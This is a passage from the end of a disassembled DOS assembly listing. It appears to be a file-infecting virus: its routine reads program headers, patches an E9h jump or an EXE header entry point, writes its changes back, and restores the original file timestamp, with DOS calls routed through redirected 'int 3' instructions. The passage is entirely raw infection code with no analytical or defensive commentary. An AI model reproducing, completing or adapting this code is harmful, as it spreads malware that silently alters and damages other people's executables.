  2321.         mov    ah,3Fh            ; '?'
  2322.  
  2323.         lea    dx,[si+60h]        ; Load effective addr
  2324.  
  2325.         nop                ;*ASM fixup - displacement
  2326.  
  2327.         mov    cx,2
  2328.  
  2329.         int    3            ; Debug breakpoint
  2330.  
  2331.         mov    dx,[si+60h]
  2332.  
  2333.         call    sub_13
  2334.  
  2335.         mov    ah,40h            ; '@'
  2336.  
  2337.         lea    dx,[si+91Eh]        ; Load effective addr
  2338.  
  2339.         mov    cx,5
  2340.  
  2341.         int    3            ; Debug breakpoint
  2342.  
  2343.         mov    dx,[si+42h]
  2344.  
  2345.         call    sub_13
  2346.  
  2347.         mov    ah,40h            ; '@'
  2348.  
  2349.         xor    cx,cx            ; Zero register
  2350.  
  2351.         int    3            ; Debug breakpoint
  2352.  
  2353.         jmp    loc_78
  2354.  
  2355. loc_74:
  2356.  
  2357.         cmp    byte ptr ds:[91Eh][si],0E9h
  2358.  
  2359.         je    loc_75            ; Jump if equal
  2360.  
  2361.         jmp    loc_79
  2362.  
  2363. loc_75:
  2364.  
  2365.         sub    word ptr ds:[91Fh][si],123h
  2366.  
  2367.         mov    dx,word ptr ds:[91Fh][si]
  2368.  
  2369.         add    dx,91Eh
  2370.  
  2371.         call    sub_13
  2372.  
  2373.         mov    ah,3Fh            ; '?'
  2374.  
  2375.         lea    dx,[si+924h]        ; Load effective addr
  2376.  
  2377.         mov    cx,3
  2378.  
  2379.         int    3            ; Debug breakpoint
  2380.  
  2381.         xor    dx,dx            ; Zero register
  2382.  
  2383.         call    sub_13
  2384.  
  2385.         mov    ah,40h            ; '@'
  2386.  
  2387.         lea    dx,[si+924h]        ; Load effective addr
  2388.  
  2389.         mov    cx,3
  2390.  
  2391.         int    3            ; Debug breakpoint
  2392.  
  2393.         mov    dx,word ptr ds:[91Fh][si]
  2394.  
  2395.         call    sub_13
  2396.  
  2397.         mov    ah,40h            ; '@'
  2398.  
  2399.         xor    cx,cx            ; Zero register
  2400.  
  2401.         int    3            ; Debug breakpoint
  2402.  
  2403.         jmp    short loc_78
  2404.  
  2405. loc_76:
  2406.  
  2407.         mov    dx,8
  2408.  
  2409.         call    sub_13
  2410.  
  2411.         mov    ah,3Fh            ; '?'
  2412.  
  2413.         lea    dx,[si+91Eh]        ; Load effective addr
  2414.  
  2415.         mov    cx,2
  2416.  
  2417.         int    3            ; Debug breakpoint
  2418.  
  2419.         mov    dx,14h
  2420.  
  2421.         call    sub_13
  2422.  
  2423.         mov    ah,3Fh            ; '?'
  2424.  
  2425.         lea    dx,[si+122h]        ; Load effective addr
  2426.  
  2427.         mov    cx,4
  2428.  
  2429.         int    3            ; Debug breakpoint
  2430.  
  2431.         mov    cl,0Ch
  2432.  
  2433.         shr    word ptr ds:[124h][si],cl    ; Shift w/zeros fill
  2434.  
  2435.         mov    ax,word ptr ds:[91Eh][si]
  2436.  
  2437.         mov    cl,4
  2438.  
  2439.         shl    ax,cl            ; Shift w/zeros fill
  2440.  
  2441.         sub    ax,0FEh
  2442.  
  2443.         cwd                ; Word to double word
  2444.  
  2445.         add    word ptr ds:[122h][si],ax
  2446.  
  2447.         adc    word ptr ds:[124h][si],dx
  2448.  
  2449.         mov    ax,4200h
  2450.  
  2451.         mov    dx,word ptr ds:[122h][si]
  2452.  
  2453.         mov    cx,word ptr ds:[124h][si]
  2454.  
  2455.         add    dx,122h
  2456.  
  2457.         adc    cx,0
  2458.  
  2459.         int    3            ; Debug breakpoint
  2460.  
  2461.         mov    ah,3Fh            ; '?'
  2462.  
  2463.         lea    dx,[si+91Eh]        ; Load effective addr
  2464.  
  2465.         mov    cx,4
  2466.  
  2467.         int    3            ; Debug breakpoint
  2468.  
  2469.         mov    dx,14h
  2470.  
  2471.         call    sub_13
  2472.  
  2473.         mov    ah,40h            ; '@'
  2474.  
  2475.         lea    dx,[si+91Eh]        ; Load effective addr
  2476.  
  2477.         mov    cx,4
  2478.  
  2479.         int    3            ; Debug breakpoint
  2480.  
  2481.         mov    ax,4200h
  2482.  
  2483.         mov    dx,word ptr ds:[122h][si]
  2484.  
  2485.         mov    cx,word ptr ds:[124h][si]
  2486.  
  2487.         int    3            ; Debug breakpoint
  2488.  
  2489.         mov    ah,40h            ; '@'
  2490.  
  2491.         xor    cx,cx            ; Zero register
  2492.  
  2493.         int    3            ; Debug breakpoint
  2494.  
  2495.         call    sub_18
  2496.  
  2497. loc_78:
  2498.  
  2499.         mov    ax,5701h
  2500.  
  2501.         mov    cx,word ptr ds:[93Fh][si]
  2502.  
  2503.         mov    dx,word ptr ds:[941h][si]
  2504.  
  2505.         and    cx,0FFE0h
  2506.  
  2507.         int    3            ; Debug breakpoint
  2508.  
  2509. loc_79:
  2510.  
  2511.         xor    dx,dx            ; Zero register
  2512.  
  2513.         call    sub_13
  2514.  
  2515.         retn
  2516.  
  2517. sub_21        endp
  2518.  
  2519.  
  2520.  
  2521.         db     26h, 11h,0EAh, 4Ah, 00h, 00h
  2522.  
  2523.         db     70h,0B0h,0F3h,0E6h, 60h,0B9h
  2524.  
  2525.         db     1Ah, 1Ah
  2526.  
  2527.         db    716 dup (1Ah)
  2528.  
  2529.  
  2530.  
  2531. seg_a        ends
  2532.  
  2533.  
  2534.  
  2535.  
  2536.  
  2537.  
  2538.  
  2539.         end    start
  2540.  
  2541.